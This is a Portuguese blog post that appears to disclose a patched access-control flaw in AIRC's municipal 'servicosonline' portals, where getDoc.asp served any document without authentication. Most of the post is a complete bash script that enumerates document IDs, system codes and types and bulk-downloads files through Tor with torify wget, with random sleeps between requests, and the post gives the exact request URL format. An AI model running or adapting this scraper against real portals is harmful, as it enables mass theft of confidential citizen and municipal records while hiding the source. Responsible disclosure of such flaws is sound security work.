AIRC VULNERABILIDADE NOS SERVIÇOS ONLINE


Após quase 6 anos de espera para poder escrever este post, a AIRC, corrigiu uma vulnerabilidade que existia no seu software servicosonline e anos atrás identificada. Por volta de 2018.

 A  vulnerabilidade permitia acesso a todos os ficheiros da gestão documental de qualquer entidade, geralmente Municípios, que fizessem uso da integração do software de gestão autárquica, com a gestão documental, e particularmente com os SERVICOSONLINE.

De acordo com Common Vulnerability Scoring System, CVSS, à vunerabilidade, é atribuido o SCORE de 7.5. A simplicidade da exploração, o impacto na confidencialidade da informação e não ser necessário qualquer previlégio na exploração da mesma, são as variáveis que mais peso apresentam para o SCORE de 7.5. 
 

 

A DESCOBERTA:

Ao navegar nos javascripts do https://servicosonline.xpto.pt/, percebi que para aceder a qualquer ficheiro de uma aplicação dos servicosonline, teria de utilizar o ficheiro getDoc.asp e um conjunto de parametros.

O MÉTODO:

 O software servicosonline tipicamente possui um endereço da forma;

https://servicosonline.URL_DO_MUNICIPIO/

Exemplo do município de XPTO

  • https://servicosonline.xpto.pt/

  

Para explorar a vulnerabilidade, era necessário aceder ao ficheiro getDoc.asp, este residia na raiz dos servicos online, ou seja, seria necessário aceder com sucesso a;

 

  • https://servicosonline.xpto.pt/getDoc.asp

mas não só, teriamos de utilizar um endereço mais complexo que desse a indicação do software que pretendiamos aceder ( ver A ), o tipo de informação ( ver B) e um ID ( ver C )

A) seria uma das opções; 

  1. MGD
  2. SCA
  3. SGA
  4. SPO 
  5. SGP
  6. SGF

 B) seria uma das opções; 

  1. I
  2. E

C) Um número maior que zero.

 

Para explorar a vulnerabilidade era necessário utilizar um URL composto, exemplo,

 https://servicosonline.XPTO.pt/GetDoc.asp?type=genericErpDoc&iddocumento=MGD|E|12345


Tão simples quanto isto :)

 

O SCRIPT 

Optei por fazer um script para juntar todos os parametros e dar me alguma proteção nos testes efetuados. O script usa a rede tor para a exploração da vulnerabilidade.

#!/bin/bash                                                                                                                                                                                   
set +x

while getopts t:b:s:e: flag
do
    case "${flag}" in
        t) target=${OPTARG};;
        b) base=${OPTARG};;
        s) start=${OPTARG};;
        e) end=${OPTARG};;
    esac
done

while true; do

    echo "target: $target";
    echo "base: $base";
    echo "start: $start";
    echo "end: $end";

    echo "running with torify"

    read -p "Continuo ? (y|n) " yn

    case $yn in
        [Yy]* ) break;;
        [Nn]* ) exit;;
        * ) echo "resposta yes | no.";;
    esac
done




function get_documents(){
local return=0;

for m_system in ${airc_systems[*]}; do

        #                                                                                                                                                                                     
        # BUILD COMMAND TO DOWNLOAD                                                                                                                                                           
        #ADD PATH                                                                                                                                                                             
        Download_Doc_command="$Download_Doc""/$prefix/$m_system"

  for it_type in ${airc_type[*]} ;  do

        sleep=`bc -l <<< "scale=0 ; $RANDOM/10000"`
        echo "slepping during $sleep seconds" >&2
        #sleep $sleep                                                                                                                                                                         

        # DOWNLOADS DOC                                                                                                                                                                       
        Download_Doc_type=$Download_Doc_command"/$it_type"
        #SETS URL ;                                                                                                                                                                           
        # m_systems from cycle obove                                                                                                                                                          
        # it_type from this cycle                                                                                                                                                             


        url="$target/GetDoc.asp?type=genericErpDoc&iddocumento=$m_system|$it_type|$temp"

        Do_Download="$Download_Doc_type $url"

        echo "\n" ;
        torify  wget  --no-check-certificate --content-disposition --user-agent='"$user_agent"' --directory-prefix=$prefix/$m_system/$it_type $url;




        #2>&1 >/dev/null                                                                                                                                                                      
        out=$?;

        if [ $(($out)) -eq $((1)) ]; then
            return=1;
            echo $return
            return ;
        fi

    done

done


}

## CALL

airc_systems="MGD SGP SPO SGA SCA TAX GES OAD" 

airc_type="I S E" # E Entrada , S Saida, I Interno  

prefix="/tmp/$base"

user_agent=" COLOCA AQUI UM USER AGENT"

Download_to="'$prefix/$base/$airc_systems'"
logfile="/tmp/download_airc.log"

Download_Doc="torify wget  --no-check-certificate --content-disposition --user-agent='"$user_agent"' --directory-prefix="



temp=$start

while [ "$temp" != "$(($end+1))" ]; do

        exit_value=$(get_documents);
        echo -e "DEBUG for $temp \n-->"$exit_value;
        echo -e "\n\n"
temp=$(($temp+1))

sleep=`bc -l <<< "scale=0 ; $RANDOM/1000"`
echo "slepping during $sleep seconds"
sleep $sleep


done
echo
echo "###################################################"
echo
echo "Downloaded $(($end-$start)) itens from type $type, stored in $Download_to"



echo
exit


######### #########

Felizmente a vul está corrigida... contudo existem outras :)





 

 

 



 

Comments

Popular posts from this blog

Pandora 11S RRTV

In Segurança sql injection hack